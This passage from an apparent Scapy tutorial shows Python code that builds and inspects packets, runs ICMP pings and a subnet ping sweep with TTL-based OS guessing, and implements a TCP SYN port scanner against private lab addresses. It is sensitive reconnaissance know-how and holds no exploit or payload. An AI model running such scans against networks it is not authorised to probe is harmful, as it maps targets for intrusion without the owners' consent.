&lt;p&gt;&lt;code&gt;srp()&lt;/code&gt; and &lt;code&gt;srp1()&lt;/code&gt; are the Layer 2 equivalents of &lt;code&gt;sr()&lt;/code&gt; and &lt;code&gt;sr1()&lt;/code&gt;. Use these for ARP operations and any other scenarios requiring Ethernet-level packet construction.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="c1"&gt;# ============================================================
# BUILDING AND INSPECTING PACKETS
# ============================================================
&lt;/span&gt;
&lt;span class="c1"&gt;# See all fields available in a layer
&lt;/span&gt;&lt;span class="nf"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# Shows every IP header field and its default
&lt;/span&gt;&lt;span class="nf"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# Shows every TCP header field and its default
&lt;/span&gt;&lt;span class="nf"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UDP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ARP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;ls&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DNS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Build a basic packet and inspect it
&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.10.10.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# .show() displays the packet in a human-readable structured format
&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# .show2() is like .show() but computes checksums and lengths first
&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;show2&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# hexdump() shows the raw bytes
&lt;/span&gt;&lt;span class="nf"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# len() shows total packet size in bytes
&lt;/span&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Packet size: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; bytes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# ============================================================
# ICMP OPERATIONS
# ============================================================
&lt;/span&gt;
&lt;span class="c1"&gt;# Simple ping
&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.10.10.50&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;ping_pkt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# sr1() sends the packet and waits for ONE response
&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ping_pkt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Host &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; is alive&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TTL: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Response type: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# 0 = echo reply
&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No response from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Ping sweep of entire subnet
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ping_sweep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# IP(dst=network) with a CIDR range creates a packet for each IP
&lt;/span&gt;    &lt;span class="n"&gt;packets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMP&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;unanswered&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;packets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Results for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Live hosts: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No response: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unanswered&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;sent_pkt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reply_pkt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;answered&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reply_pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;
        &lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reply_pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;

        &lt;span class="c1"&gt;# OS estimation from TTL
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;os_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Linux/Unix&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;os_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;os_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Network device&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  [+] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; TTL=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; Probably: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os_guess&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;ping_sweep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.10.10.0/24&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# ============================================================
# TCP OPERATIONS
# ============================================================
&lt;/span&gt;
&lt;span class="c1"&gt;# Full SYN scan implementation
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;custom_syn_scan&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Scanning &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ports: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;open_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;closed_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;filtered_ports&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Build SYN packet
&lt;/span&gt;        &lt;span class="c1"&gt;# RandShort() generates a random source port (avoids confusion)
&lt;/span&gt;        &lt;span class="n"&gt;pkt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nc"&gt;RandShort&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sr1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;filtered_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;

            &lt;span class="c1"&gt;# "SA" = SYN-ACK = port is OPEN
&lt;/span&gt;            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SA&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x12&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

                &lt;span class="c1"&gt;# Send RST to avoid leaving half-open connections on target
&lt;/span&gt;                &lt;span class="c1"&gt;# Half-open connections consume resources on the target
&lt;/span&gt;                &lt;span class="n"&gt;rst&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                    &lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
                    &lt;span class="n"&gt;sport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;R&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                    &lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;ack&lt;/span&gt;
                &lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

            &lt;span class="c1"&gt;# "RA" or "R" = RST = port is CLOSED
&lt;/span&gt;            &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;R&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;closed_ports&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;Open ports: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;open_ports&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Filtered ports: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filtered_ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Closed ports: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;closed_ports&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;open_ports&lt;/span&gt;

